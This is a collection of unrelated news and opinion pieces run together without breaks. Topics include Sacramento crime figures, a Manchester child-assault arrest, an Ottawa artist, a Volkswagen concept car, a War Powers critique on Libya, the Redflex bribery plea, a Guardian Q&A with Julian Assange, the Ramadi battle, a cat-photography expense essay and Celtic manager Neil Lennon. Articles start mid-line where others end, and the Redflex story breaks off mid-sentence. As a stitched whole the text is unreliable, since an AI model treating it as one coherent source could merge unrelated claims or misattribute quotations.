“When you send your police sources to places where violent crime keeps happening, you increase public intervention, which tends to drive crime down,” Zimring said, adding that another way to control for homicides is to increase aggressive policing of domestic violence.
“There are cases where police know which people, who are at high risk for homicides,” he said. “Those are very intimate cases, because, often, by the time the police get there and find a body, it’s the seventh time they’ve been called.”
Sacramento police said they’re engaging these practices and more. Other programs that integrate technology, such as the social media site Nextdoor.com, which allows residents to engage with police about local safety concerns, have also played a role in keeping crime rates down, Sacramento police said. Morse pointed to a renewed effort to encourage and support neighborhood watch programs, of which there were 338 in Sacramento by the end of last year, nearly double the number from 2013.
Mayor Kevin Johnson applauded the numbers and police efforts to engage the community.
“The latest statistics show that we are making real progress in creating a safer Sacramento, including the eye-popping reduction in homicides,” the mayor said in a written statement emailed to The Sacramento Bee by his spokesman. “These types of results wouldn’t be possible without the city, the chief (of police), the peace officers and the community working together.”
Johnson has linked declining crime with his ongoing advocacy to diversify the Police Department and to create trust between the department and neighborhoods where tension often exists between officers and residents. This week, the mayor traveled to Washington, D.C., where he briefed a presidential task force on his efforts.
A significant share of the Police Department’s staffing increase has been a result of Measure U, a ballot measure passed by voters in 2012 that raised the sales tax in the city. Revenue from the tax increase has funded more than 50 new cops in just over a year.
These new police officers have bolstered the department’s patrol efforts, Morse said, with more incoming officers expected to extend police reach in 2015.
“It’s a definite step in the right direction,” Morse said.A teenage boy has been arrested on suspicion of attempting to rape an eight-year-old girl in a park.
Officers were called to Nuthurst Park in Moston, Greater Manchester, at around 6.55pm after reports the girl had been raped and the offender had been chased off by members of the public.
The suspect, believed to be aged 14 or 15, was arrested by police in a nearby shop on Saturday evening.
The alleged attack happened in Nuthurst Park in Moston, Greater Manchester, shortly before 7pm on Saturday
The victim is being provided with support from specially trained officers.
Inspector Dave Whelan said: 'I know this incident has understandably caused a lot of unrest in the local community, particularly among those who were in the nearby area at the time but I want to assure everybody that we have launched a full investigation.
'We treat all reports like this with the utmost seriousness and as such officers swiftly attended the scene and arrested a teenage boy within 16 minutes of the initial call coming in.
'We would like to thank the local community who assisted in our initial inquiries earlier today.
'Local residents may notice an increased police presence in the area so if you have any information about the incident or concerns that you wish to raise with officers, then I would encourage you to either approach them directly or call police.'Call Ottawa artist Marc Adornato mischievous, controversial, passionate. Just don't call him boring.
Adornato, 39, has spent the past few years producing and refining works which span a full array of media: paint, sculpture, performance as well as video and sound.
The result is on display this summer at the Ottawa Art Gallery, with the launch party for "I've Got Some Bad News" happening Thursday night at 6 p.m.
The exhibit incorporates about 25 paintings from Adornato's "Ruined Landscapes" series (Think Bob Ross meets Edward Burtynsky) as well as a dozen or so dolls from his Blow Up Dolls collection (Think Cabbage Patch Kids meet ISIS).
Marc Adornato describes himself as somewhat of a'mischief artist'. (Mario Carlucci) "I definitely consider myself a bit of a mischief artist. I like pushing buttons," said Adornato, who has previously shown his works at the Canadian War Museum, The Bank of Canada's Currency Museum, and in local spaces such as restaurant Union Local 613 and the office of public relations agency, MediaStyle.
A flair for social commentary
"Typically, I try to reflect what's happening in society, so social and political issues are my bread and butter when it comes to content of my artwork… But definitely I think pushing buttons and getting people's attention to look at contemporary art is what I enjoy doing."
Fans of Adornato are partial to the way he incorporates vintage, tattered items into pieces, giving them a classic yet edgy feel. He credits that esthetic to his fascination with the past.
"There's just an appreciation I have for the stuff that came before us, and, you know, the way it was built. The way it was made… So that's what really got me into the old stuff and so I started collecting it and I kind of decided that is what I wanted to use as my base materials," says Adornato.
"In a sense as I go forward trying to beautify art [I'll] try to take contemporary art away from that cynical kind of boring, 'What the heck is this?' and bring it back to 'Wow, this is a really beautifully-made piece.'"
Controversial works
Adornato hasn't had any trouble finding interest in his work from the general public. In fact, controversy seems to follow him.
"I definitely wouldn't say I try to stir this stuff up… not intentionally. I do try to stir up controversial issues. I try to bring them to the forefront of my artwork. And I put my art work on display so I try to get people engaged in having these conversations rather than living blindly and ignoring the problems of the world."
Adornato attracted attention with his unusual submission to the Royal Bank of Canada's prestigious painting competition.
In October 2014, Adornato spoke to CBC's As It Happens about "Arbie," his submission to the Royal Bank of Canada's prestigious painting competition.
According to Adornato, it depicted RBC mascot Arbie, who sets fire to his branch in protest, after learning that his job was being outsourced through iGate, a multinational outsourcing firm from India.
"Over the last couple of years, [RBC] have been selecting abstract impressionist works … they're very nice paintings, but there's no subject matter that is controversial or reflective of what is happening in contemporary times in Canada," he told As It Happens at the time.
Art as protest
Indeed, Adornato said he tries to reflect the sentiment of the public with the social commentary he expresses in his art.
Adornato sometimes gets outside of the studio and incorporates performance into his art, such as his #MYPROTEST project.
Adornato spent the summer of 2014 cycling around Ottawa on an electric bicycle, wearing a black suit, tie, and vintage gas mask as part of an elaborate art project that explored the act of protest, activism, and the interaction with social media.
His diverse production is part of a 10-year arc culminating in him embracing paint work as a medium, he said. And he has his eyes set on a new adventure in art work soon as well.
"I say my next 10-year arc is to get into public monuments and that kind of stuff. So, after I do some painting for the next five years I imagine myself making more City of Ottawa monuments."Auto shows are where the boldest, most daring, least practical concept cars dazzle crowds with diverse and esoteric visions of the future. But thanks to the rise of electric-only vehicles and driver assistance technology, the cars of tomorrow on display at the 2017 L.A. Auto Show are beginning to look a lot more like the cars of today.
The Volkswagen I.D. Crozz, a new electric SUV concept from the German automaker, was unveiled on Tuesday. While its hexagonal steering wheel and abundance of exterior lights indicate the flash of a show model over a production car, CEO Hinrich Woebcken said the I.D. Crozz will arrive on the market by 2020.
"We believe electric mobility is the future," Woebcken told CNBC on Wednesday.
The Crozz joins at least two other vehicles on the new I.D. line — including the Buzz, an all-electric redesign of Volkswagen's iconic bread-loaf-shaped minibus popularized in the 1960s. The two-tone update features a slightly boxier body and honeycomb fog lights that complement the vehicle's retro-futurist style.
"Everybody was begging us, 'When do you bring back the microbus?'" Woebcken said. "And now it's coming."
Tesla has a wide head start in the electric car market, but Woebcken said the timing plays to Volkswagen's advantage. Electrical infrastructure, he said, will be much more developed by 2021, and electric-vehicle costs are likely to come down considerably by then.
"We believe we need to bring electric mobility for millions, not just for millionaires," he said.
— CNBC's Phil LeBeau contributed to this report.Fox News' Shep Smith told his viewers that Trump's claims of false media coverage on terrorist attacks were, "In short, the president's assertion is false."
Smith was so dismayed by it all he said, "Why bother."
More and more media personalities are getting fed up with with this nonsense.
Smith even explained where these alternate facts are coming from. "The assertion is an echo of some fringe media, specifically conspiracy websites InfoWars and the right wing Breitbart."
After giving a full rundown of the attacks Trump made on the media, including Sean Spicer's weak defensive talking points, Smith said that the administration's plan is to train their supporters to "don't listen to those reporting accurately. Listen to our false assertions."
He continued, "In short, the president’s assertion is false. The White House knows that it was false or could have learned that it was false with a quick Google check, but either did not do so or decided not to tell the truth.”
Boom!
Smith like many other reporters covered many of the attacks the administration said didn't get any media coverage.
He said, "Fox News covered that attack with dozens of reporters, producers and technicians for many weeks
I guess Trump's idea is to use these bogus media attacks to support his Muslim ban.
They are not working.Anyone under the illusion that Congress has any substantive role in foreign policy, especially when it comes to war, should read Thursday's NYT story documenting how the Obama administration intends to "comply with" (read "circumvent"), the War Powers Resolution. The law’s 60-day time limit for military operations that have not been formally endorsed by Congress ends on May 20th.
James Steinberg, the deputy secretary of state,…said the administration was examining the military’s "role and activities as we move through the next period of time" and would consult Congress about evaluating "what we think we can and can’t do."
[…]
The administration apparently has no intention of pulling out of the Libya campaign, and Mr. Steinberg said that Mr. Obama was committed "to act consistently with the War Powers Resolution." So the Obama legal team is now trying to come up with a plausible theory for why continued participation by the United States does not violate the law.
[…]
One concept being discussed is for the United States to halt the use of its Predator drones in attacking targets in Libya, and restrict them solely to a role gathering surveillance over targets.
[…]
By ending all strike missions for American forces, the argument then could be made that the United States was no longer directly engaged in hostilities in Libya, but only providing support to NATO allies. Another idea is for the United States to order a complete—but temporary—halt to all of its efforts in the Libya mission. Some lawyers make the case that, after a complete pause, the United States could rejoin the mission with a new 60-day clock.
You might think that members of Congress would object to these sorts of shenanigans. To the untrained eye, it looks as though the White House is trying to pull one over on them. But there is reason to believe that members like it that way. It allows them to evade responsibility for the war, and leaves them free to praise or criticize it after the fact, depending upon how it all plays out.
The scope of the president’s authority to send U.S. forces into harm’s way without so much as a "by your leave" from the legislature is the subject of some scholarly debate. It shouldn’t be. The Founders’ intent that the legislature, not the executive branch, had the sole authority to declare war is clearly stated in the Constitution, in the supporting ratification debates, and in the comments of Madison and others after the fact.
Indeed, Madison later asserted that "[i]n no part of the constitution is more wisdom to be found, than in the clause which confides the question of war or peace to the legislature, and not to the executive department."
A young member of Congress from Illinois, Abraham Lincoln, understood this point quite well. In a letter to his law partner Lincoln explained:
[The Constitutional] Convention understood [war] to be the most oppressive of all Kingly oppressions; and they resolved to so frame the Constitution that no one man should hold the power of bringing this oppression upon us.
Lincoln was complaining of President James K. Polk’s decision to invade Mexico, one of the earliest examples of executive overreach. In Polk’s defense, at least he professed that the war was intended to advance U.S. security interests. Polk’s claims were risible, but no one in the Obama administration has even attempted a plausible lie to justify the Libyan intervention on the grounds of U.S. national security.
But Obama, like Lincoln, appears to have undergone an Oval Office conversion with respect to the president’s power to wage war. As I wrote here a few weeks ago, Candidate Obama believed that the president could launch military operations only when the country was in danger of an actual or imminent attack. President Obama, it seems, believes something very different: that he can wage war pretty much whenever he chooses, wherever he chooses, though it would be handy to have a formal UN Security Council endorsement beforehand. To call the U.S. Congress an afterthought in this context would afford that body more influence than it actually has.
But I blame the Congress as much as I blame the president; many legislators, it seems, prefer to snipe at the president’s conduct of the war, or to complain of the costs, and have left room to criticize the decision to go to war itself, after the fact, if it goes poorly. Of course, if it succeeds, I predict that most can and will claim credit. That’s the beauty of not having to vote on something. You can be for it before you are against it without anyone making fun of you.
I focused on Congress’s abdication of its constitutional obligations when Ben Friedman and I spoke at a Cato Capitol Hill briefing. This article gave me new material to work into my talk. Our charge was to answer the question "Why Are We at War in Libya?" I’m quite sure that no one knows for certain, but my best guess is the simplest answer available: We are at war in Libya because Barack Obama chose to go to war there.COLUMBUS, Ohio, June 19 (UPI) -- The former CEO of a company that sells and operates red-light cameras told a judge she bribed officials in Cincinnati and Columbus, Ohio, to secure and maintain contracts with the cities.
Karen Finley, 55, of Cave Creek, Ariz., pleaded guilty Friday in U.S. District Court in the Southern District of Ohio to conspiracy to commit federal programs bribery, and honest services wire and mail fraud.
Between 2005 and 2013, Finley was CEO of Redflex Traffic Systems, a company that sets up cameras at intersections that snap photos of vehicles running red lights.
She admitted she participated in a scheme in which the company made campaign contributions to elected officials in the two cities in exchange for securing red-light camera contracts with the municipalities. Additionally, the company concealed the contributions through invoices labeling the payments as being for "consulting services" to a third party who then made the contributions.
Columbus City Council member and current mayoral candidate Andrew Ginther is one of the officials alleged to have received a campaign contribution from Reflex Traffic Systems. Ginther released a statement Friday denying the claims.
"I had absolutely no knowledge of these activities and did not take part in them," he said. "While I am not a subject of this inquiry, I have been asked to provide records that may help the investigation into Redflex. I've fully cooperated and will continue to assist in bringing these people to justice. In light of these charges, I have asked City Attorney Rick Pfeiffer to conduct an investigation into any current contracts between the city and Redflex."
Finley will be |
I'll start the ball rolling with a question. You're an Australian passport holder - would you want return to your own country or is this now out of the question due to potentially being arrested on arrival for releasing cables relating to Australian diplomats and polices?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
I am an Australian citizen and I miss my country a great deal. However, during the last weeks the Australian prime minister, Julia Gillard, and the attorney general, Robert McClelland, have made it clear that not only is my return is impossible but that they are actively working to assist the United States government in its attacks on myself and our people. This brings into question what does it mean to be an Australian citizen - does that mean anything at all? Or are we all to be treated like David Hicks at the first possible opportunity merely so that Australian politicians and diplomats can be invited to the best US embassy cocktail parties.
girish89
How do you think you have changed world affairs?
And if you call all the attention you've been given-credit... shouldn't the mole or source receive a word of praise from you?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
For the past four years one of our goals has been to lionise the source who take the real risks in nearly every journalistic disclosure and without whose efforts, journalists would be nothing. If indeed it is the case, as alleged by the Pentagon, that the young soldier - Bradley Manning - is behind some of our recent disclosures, then he is without doubt an unparalleled hero.
Daithi
Have you released, or will you release, cables (either in the last few days or with the Afghan and Iraq war logs) with the names of Afghan informants or anything else like so?
Are you willing to censor (sorry for using the term) any names that you feel might land people in danger from reprisals??
By the way, I think history will absolve you. Well done!!!
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
WikiLeaks has a four-year publishing history. During that time there has been no credible allegation, even by organisations like the Pentagon that even a single person has come to harm as a result of our activities. This is despite much-attempted manipulation and spin trying to lead people to a counter-factual conclusion. We do not expect any change in this regard.
distrot
The State Dept is mulling over the issue of whether you are a journalist or not. Are you a journalist? As far as delivering information that someone [anyone] does not want seen is concerned, does it matter if you are a 'journalist' or not?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
I coauthored my first nonfiction book by the time I was 25. I have been involved in nonfiction documentaries, newspapers, TV and internet since that time. However, it is not necessary to debate whether I am a journalist, or how our people mysteriously are alleged to cease to be journalists when they start writing for our organisaiton. Although I still write, research and investigate my role is primarily that of a publisher and editor-in-chief who organises and directs other journalists.
achanth
Mr Assange,
have there ever been documents forwarded to you which deal with the topic of UFOs or extraterrestrials?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
Many weirdos email us about UFOs or how they discovered that they were the anti-christ whilst talking with their ex-wife at a garden party over a pot-plant. However, as yet they have not satisfied two of our publishing rules.
1) that the documents not be self-authored;
2) that they be original.
However, it is worth noting that in yet-to-be-published parts of the cablegate archive there are indeed references to UFOs.
gnosticheresy
What happened to all the other documents that were on Wikileaks prior to these series of "megaleaks"? Will you put them back online at some stage ("technical difficulties" permitting)?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
Many of these are still available at mirror.wikileaks.info and the rest will be returning as soon as we can find a moment to do address the engineering complexities. Since April of this year our timetable has not been our own, rather it has been one that has centred on the moves of abusive elements of the United States government against us. But rest assured I am deeply unhappy that the three-and-a-half years of my work and others is not easily available or searchable by the general public.
CrisShutlar
Have you expected this level of impact all over the world? Do you fear for your security?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
I always believed that WikiLeaks as a concept would perform a global role and to some degree it was clear that is was doing that as far back as 2007 when it changed the result of the Kenyan general election. I thought it would take two years instead of four to be recognised by others as having this important role, so we are still a little behind schedule and have much more work to do. The threats against our lives are a matter of public record, however, we are taking the appropriate precautions to the degree that we are able when dealing with a super power.
JAnthony
Julian.
I am a former British diplomat. In the course of my former duties I helped to coordinate multilateral action against a brutal regime in the Balkans, impose sanctions on a renegade state threatening ethnic cleansing, and negotiate a debt relief programme for an impoverished nation. None of this would have been possible without the security and secrecy of diplomatic correspondence, and the protection of that correspondence from publication under the laws of the UK and many other liberal and democratic states. An embassy which cannot securely offer advice or pass messages back to London is an embassy which cannot operate. Diplomacy cannot operate without discretion and the
protection of sources. This applies to the UK and the UN as much as the US.
In publishing this massive volume of correspondence, Wikileaks is not highlighting specific cases of wrongdoing but undermining the entire process of diplomacy. If you can publish US cables then you can publish UK telegrams and UN emails.
My question to you is: why should we not hold you personally responsible when next an international crisis goes unresolved because diplomats cannot function.
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
If you trim the vast editorial letter to the singular question actually asked, I would be happy to give it my attention.
cargun
Mr Assange,
Can you explain the censorship of identities as XXXXX's in the revealed cables? Some critical identities are left as is, whereas some are XXXXX'd. Some cables are partially revealed. Who can make such critical decisons, but the US gov't? As far as we know your request for such help was rejected by the State department. Also is there an order in the release of cable or are they randomly selected?
Thank you.
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
The cables we have release correspond to stories released by our main stream media partners and ourselves. They have been redacted by the journalists working on the stories, as these people must know the material well in order to write about it. The redactions are then reviewed by at least one other journalist or editor, and we review samples supplied by the other organisations to make sure the process is working.
rszopa
Annoying as it may be, the DDoS seems to be good publicity (if anything, it adds to your credibility). So is getting kicked out of AWS. Do you agree with this statement? Were you planning for it?
Thank you for doing what you are doing.
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
Since 2007 we have been deliberately placing some of our servers in jurisdictions that we suspected suffered a free speech deficit inorder to separate rhetoric from reality. Amazon was one of these cases.
abbeherrera
You started something that nobody can stop. The Beginning of a New World. Remember, that community is behind you and support you (from Slovakia).
Do you have leaks on ACTA?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
Yes, we have leaks on the Anti-Counterfeiting Trade Agreement, a trojan horse trade agreement designed from the very beginning to satisfy big players in the US copyright and patent industries. In fact, it was WikiLeaks that first drew ACTA to the public's attention - with a leak.
people1st
Tom Flanagan, a [former] senior adviser to Canadian Prime Minister recently stated "I think Assange should be assassinated... I think Obama should put out a contract... I wouldn't feel unhappy if Assange does disappear."
How do you feel about this?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
It is correct that Mr. Flanagan and the others seriously making these statements should be charged with incitement to commit murder.
Isopod
Julian, why do you think it was necessary to "give Wikileaks a face"? Don't you think it would be better if the organization was anonymous?
This whole debate has become very personal and reduced on you - "Julian Assange leaked documents", "Julian Assange is a terrorist", "Julian Assange alledgedly raped a woman", "Julian Assange should be assassinated", "Live Q&A qith Julian Assange" etc. Nobody talks about Wikileaks as an organization anymore. Many people don't even realize that there are other people behind Wikileaks, too.
And this, in my opinion, makes Wikileaks vulnerable because this enables your opponents to argue ad hominem. If they convince the public that you're an evil, woman-raping terrorist, then Wikileaks' credibility will be gone. Also, with due respect for all that you've done, I think it's unfair to all the other brave, hard working people behind Wikileaks, that you get so much credit.
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
This is an interesting question. I originally tried hard for the organisation to have no face, because I wanted egos to play no part in our activities. This followed the tradition of the French anonymous pure mathematians, who wrote under the collective allonym, "The Bourbaki". However this quickly led to tremendous distracting curiosity about who and random individuals claiming to represent us. In the end, someone must be responsible to the public and only a leadership that is willing to be publicly courageous can genuinely suggest that sources take risks for the greater good. In that process, I have become the lightening rod. I get undue attacks on every aspect of my life, but then I also get undue credit as some kind of balancing force.
tburgi
Western governments lay claim to moral authority in part from having legal guarantees for a free press.
Threats of legal sanction against Wikileaks and yourself seem to weaken this claim.
(What press needs to be protected except that which is unpopular to the State? If being state-sanctioned is the test for being a media organization, and therefore able to claim rights to press freedom, the situation appears to be the same in authoritarian regimes and the west.)
Do you agree that western governments risk losing moral authority by
attacking Wikileaks?
Do you believe western goverments have any moral authority to begin with?
Thanks,
Tim Burgi
Vancouver, Canada
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
The west has fiscalised its basic power relationships through a web of contracts, loans, shareholdings, bank holdings and so on. In such an environment it is easy for speech to be "free" because a change in political will rarely leads to any change in these basic instruments. Western speech, as something that rarely has any effect on power, is, like badgers and birds, free. In states like China, there is pervasive censorship, because speech still has power and power is scared of it. We should always look at censorship as an economic signal that reveals the potential power of speech in that jurisdiction. The attacks against us by the US point to a great hope, speech powerful enough to break the fiscal blockade.
rajiv1857
Hi,
Is the game that you are caught up in winnable? Technically, can you keep playing hide and seek with the powers that be when services and service providers are directly or indirectly under government control or vulnerable to pressure - like Amazon?
Also, if you get "taken out" - and that could be technical, not necessarily physical - what are the alternatives for your cache of material?
Is there a'second line' of activists in place that would continue the campaign?
Is your material 'dispersed' so that taking out one cache would not necessarily mean the end of the game?
Julian Assange. Photograph: Carmen Valino for the Guardian
Julian Assange:
The Cable Gate archive has been spread, along with significant material from the US and other countries to over 100,000 people in encrypted form. If something happens to us, the key parts will be released automatically. Further, the Cable Gate archives is in the hands of multiple news organisations. History will win. The world will be elevated to a better place. Will we survive? That depends on you.
That's it every one, thanks for all your questions and comments. Julian Assange is sorry that he can't answer every question but he has tried to cover as much territory as possible. Thanks for your patience with our earlier technical difficulties.Image copyright Reuters Image caption Iraqi troops retook Ramadi with the help of US-led coalition air strikes
The Iraqi Security Forces (ISF) raised their national flag over the Anbar provincial government headquarters in Ramadi on 28 December, marking the return of government troops to the centre of the city after many weeks of intense fighting.
The self-styled Islamic State (IS) is now limited to hideouts in Sufia, the rural district to the north-east of the city, and in small "stay-behind" locations within the ruined urban centre.
There will be ongoing IS harassment in the city, including occasional suicide car bombings and spectacular raids to disrupt stabilisation, but the jihadist group is unlikely to fully control the city again in the manner it has since May 2015.
For IS the loss of Ramadi was inevitable almost from the start but permanent control was probably not their goal. Instead, IS has repeatedly used Ramadi to distract the ISF from attacking the Islamic State's stronghold in Mosul, 450km (280 miles) to the north.
IS tried and failed to seize Ramadi at the same time as nearby Falluja fell in late December 2013.
It fought a battle of attrition for 16 months from Ramadi's rural suburbs, tying down ISF units. Then, when the Iraqi military took Tikrit in April 2015, the Islamic State was able to crack ISF resistance in Ramadi and again use the city to draw ISF effort away from Mosul for 226 days and counting.
Image copyright AP Image caption Iraqi troops are mopping up the last few pockets of IS resistance in Ramadi
With the Ramadi operation beginning to wind down, IS knows that the main event - the battle for Mosul - will now begin.
IS could try another diversionary attack but the Iraqi and Syrian forces are now better prepared and supported with air power from the US-led coalition.
More likely, the slow preparatory phases of the battle for Mosul will now unfold in the first half of 2016.
First, IS' next defensive bulwarks will be ground down - the oil refining hub Qayyarah and other Tigris River Valley towns south of Mosul.
Then the city will be slowly encircled in the summer and air strikes will intensify on IS leadership and logistical targets. Then the assault will begin once the summer heat dies down in the autumn of 2016.
Professional force
Though IS has benefitted from its use of Ramadi as a delaying operation, the ISF and coalition have also learned from the experience.
Ramadi saw the ISF and coalition work closely together to build highly detailed intelligence on enemy locations and then use air power to precisely target those concentrations.
Ramadi also saw the Iraqi army show off the training and equipment it has acquired from the coalition.
"Combined arms breaching" is one new capability - the ability to clear scores of improvised explosive devices in a single manoeuvre with the aid of US-provided mine-clearing equipment. Combat engineers with US-provided bulldozers rapidly consolidated defences and allowed troops to beat away IS counter-attacks.
Image copyright AFP Image caption The Iraqi government must now stabilise Ramadi and help its population to return
The ISF showed that it could rapidly build new bridges to replace the ones that IS demolished. All these skills will be useful in Mosul.
The battle is the latest in a series of operations that show professional military commanders, not militia leaders, in charge of major military operations.
This was the case at Tikrit and Baiji, where militia leaders tried and failed to conquer the city for months. In the end, professional Iraqi special forces and army officers backed by coalition air power tipped the balance in both places within days.
This dynamic is important because Shia militia commanders like Abu Mahdi al-Muhandis, a US-designated global terrorist, or Hadi al-Amiri will probably seek to play key roles in the liberation of Mosul.
But local political dynamics - particularly the predominately Sunni Arab character of Mosul city - suggest that the Shia militias will not be welcomed as liberators, rather as foreign occupiers.
This makes it important that the assault on Mosul - like the decisive operations at Tikrit, Baiji and now Ramadi - should be an operation commanded by professional ISF leadership under national command.
Better prepared
A related challenge will be the Iraqi government's stabilisation of Ramadi city as the battle slowly winds down.
A newly-announced $50m (£33m) international effort to restore basic services in Ramadi plus plans to man the city's security forces with local Sunnis will have an important effect on resettlement of local people and the long-term stability of the city. The previous example of Tikrit gives reasons for encouragement.
Tikrit was heavily damaged in the fighting to liberate the city and looted by predominately Shia militias thereafter. But the post-battle stabilisation has gone unexpectedly well.
The UN Development Programme (UNDP) is running a successful resettlement programme that has seen Internally Displaced Persons returning to the city and the militias have acted with restraint.
Such a "day-after" resettlement and stabilisation plan will be doubly necessary in Mosul, a city 15 times as big as Tikrit and three times as large as Ramadi.
As a result, Ramadi may have given the Iraqi government and security forces a rare opportunity to better prepare for the main battle and post-conflict period in Mosul.
If Ramadi had not fallen, the ISF might have rushed to failure in Mosul. Although the process will probably be slow, the Iraqi campaign to liberate Mosul may now be on firmer ground.
Dr Michael Knights is the Lafer Fellow at the Washington Institute for Near East Policy. He has worked in all of Iraq's provinces, including periods spent embedded with the Iraqi security forces. His recent report on the Iraqi security forces is available via the Washington Institute website.Where did your last $240.17 go, William Foster?
OVERALL ALLOCATION
ITEMIZED LIST
$3, large coffee at Oui Presse. Cream, no sugar, to go. $2.50 plus $0.50 tip.
$5.99, 6 oz. center-cut wild Coho salmon, for my cat. (1)
$1, small bag of catnip.
$2.50, one cheese slice at Sizzle Pie. (2)
$100, home session with Chanan. (3)
$8.48, Chile relleno plate plus one mandarin Jarritos, at a middling but convenient Mexican restaurant.
$57.20, two tickets to Jon Lovitz at Helium Comedy Club. $25 each, plus $7.20 “handling fee.” Funny guy!
$12, two Mirror Pond Pale Ales. $4.50 each plus $3 tip, to fulfill the two-drink minimum.
$50, 90-minute session in a sensory deprivation tank, the following morning.
(1) Back in The Billfold’s early youth, Logan posted this bit of asinine piffle. Although I took some liberties with the truth in my email (cats can’t play basketball; they have no regard for rules and systems, and no capacity for delayed gratification), I was in fact looking for a cat to adopt. I visited Stevie B at the Oregon Humane Society, but he was too riddled with health problems for me, still unsettled in a new city and job, and living alone in a studio apartment, to attend to.
In the comment section, I also expressed interest in a cat named Mr. Biscuit. Mr. Biscuit was clearly a desirable feline, but after my disheartening meeting with Stevie B, I realized that I wasn’t quite ready to adopt. Six months later, though, when I was better situated in my home and job, kitty-cat fever again welled up within me, and by the hand of fate Mr. Biscuit was still available at the adoption center.
Mr. Biscuit is a 12-year-old, purebred Blue Point Himalayan. He has papers certifying his lineage: “Sire: MR SASSY MIST Dam: CEDES CHOICE CARAMEL.” He’s also a tripod, having lost his rear port side leg to a tumor in 2010. Never in all my cat-fancying dreams did I intend to own anything but a common mutt, but a cat in need is indeed a cat in need, and I took the poor beast under my wing.
I bought the salmon in the above line item for Mr. Biscuit’s birthday meal. His twelfth birthday was, incidentally, the day after the events of this post. I baked the salmon, garnished his portion with catnip, and ate mine alongside him.
(2) Sizzle Pie is convenient to the on-ramp to I-84E, which I took to the Red Lion Hotel at Portland International Airport to pick up Chanan.
Chanan is arguably the preeminent cat photography team in the country. The name “Chanan” is a roundabout abbreviation and concatenation of the husband-wife duo’s first names, Richard and Nancy. Richard has been photographing cats as his primary occupation since 1976 (his entry into this improbable niche came by way of his mother, an avid cat breeder), and Nancy has assisted him for much of that time. Over the decades, Chanan have cultivated, and established themselves as the principal purveyors of, the favored portraiture aesthetic of cat breeders worldwide.
If you’ve ever been to a cat show, you may have seen Chanan in action. They’re almost constantly on the road, traveling to shows around the U.S. and occasionally in Japan and Europe, and their schedule is usually booked over a year in advance. If you’ve ever perused cat breeder web sites, then you’ve probably seen their work, the ubiquity of which testifies to their demand in the breeder community. The Cat Fancier’s Association features Chanan’s photos in their online breed profiles, and other cat photographers seem to imitate their style (of course, Chanan’s prominent signature precludes any doubt as to a portrait’s provenance). In this world, Chanan is king of the hill.
Chanan’s characteristic style places the subject in front of a jewel tone backdrop, and captures it in a wide-eyed state of alert. I had seen Chanan’s photos before, but I had never witnessed their process until 2008, when I encountered Richard working solo at the CFA Iams Cat Championship in Madison Square Garden. I watched him for nearly an hour, mesmerized, as he shot three ethereal show cats one after another. His left hand manipulated toys from an extensive arsenal of strings, feathers, and sticks, goading the cats into positions resembling poses, while his right hand snapped photos during the narrow windows of photogenicity. Sometimes he’d ask the owner for assistance (“Pet him again… now stand over there and call his name…”), and occasionally he’d emit a loud, sudden trilling noise to capture a cat’s attention. Eminently professional and efficient, Richard also seemed to maintain a constant sense of amusement about the whole thing, even after more than thirty years in the biz.
Breeders comprise the majority of Chanan’s customer base. For them, a Chanan photograph is a practical investment that they use to showcase their animals. But, as advertised on Chanan’s web site, home sessions are available to anyone willing to pay for it. Mr. Biscuit is the first cat I’ve owned as an independent adult, and with him I finally had an opportunity to indulge my longtime fascination with Chanan. I checked their schedule, saw that they were due to be in the Portland area, and emailed them to book a “type (A) session.” Richard replied that he would arrive at PDX at noon on a Friday, and that he was free until the show the following morning. We set the date, and I scheduled the day off from work.
When the day came, I arrived at the airport hotel, cheese pizza in my belly, to find Richard sans Nancy. It turned out that he’s been working the show circuit alone since his house was robbed just over a year ago, which he blames on having posted their home address and schedule online. I drove him back to my apartment to set up for the shoot, and he merrily talked cat shop the whole way there.
(3) Mr. Biscuit is timid around strangers, and even more so when the stranger is accompanied by a large pile of photography equipment. It took a substantial amount of catnip, treats, and cooing to coax him out from beneath the couch, and even then he refused to cooperate with our agenda.
Richard pulled out all his tricks, but to little avail. He relied on me to comfort Mr. Biscuit, but under his close direction: “Pet him… again… Do you have canned food? Go get a can and stand behind me… wait… now open the can… oh! better grab him… give him some food from the can… now put another bite in front of his face, but pull it away NOW… try again… uh oh, go grab him… give him a good petting… let’s try the catnip again,” and so on.
Richard only charged me $100 for the session because, in his words, “Mr. Biscuit is the worst subject I’ve ever had, aside from that one tabby in San Diego. I might not have a single usable shot here.”
Chanan’s trash is my treasure:
William Foster lives in Portland, Oregon.
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Neil Lennon is ready to swap the Champions League for the Championship.
Lennon is prepared to quit Celtic and take the manager’s job at Norwich, where he is on the short-list following their relegation.
It is a damning indictment of Scottish football, but Lennon has been overlooked for a succession of Premier League jobs and now Norwich is a real option for him.
The Canaries have got Lennon, Gianfranco Zola and Malky Mackay in their sights as options to replace Neil Adams.
Stand-in boss Adams, who took the club down after the gamble to sack Chris Hughton with a month of the season left backfired, is likely to be offered a role at the club, but Norwich want a senior man to take charge – and want to make a quick appointment.
(Image: Action)
The Canaries also believe appointing Lennon would give them the best chance of keeping former Celtic striker Gary Hooper after their fall into the second tier.
Former Celtic captain Lennon, 42, loves the Glasgow club but believes this could be the end of the road, despite his remarkable success there.
Lennon has been keen on jobs at Cardiff, Sunderland and Everton – but did not get a look-in.
So the only way for him to get a Premier League job may be to take on a lower-division club and get them into the top flight. Norwich now offer that chance.
The Carrow Road side know appointing Mackay would be popular as he is a former Canaries player.
Zola is a glamorous name despite mixed fortunes as a manager, and was a contender before Hughton got the Norwich gig.
But appointing Lennon would be seen as a massive statement as the Norfolk club look to make an instant return to the Premier League.For Mr. Obama, who vowed earlier this month to do “everything in my power” to see the bill to fruition, the measure’s passage would be an extraordinary triumph. Its defeat could weaken him for the rest of his days in office.
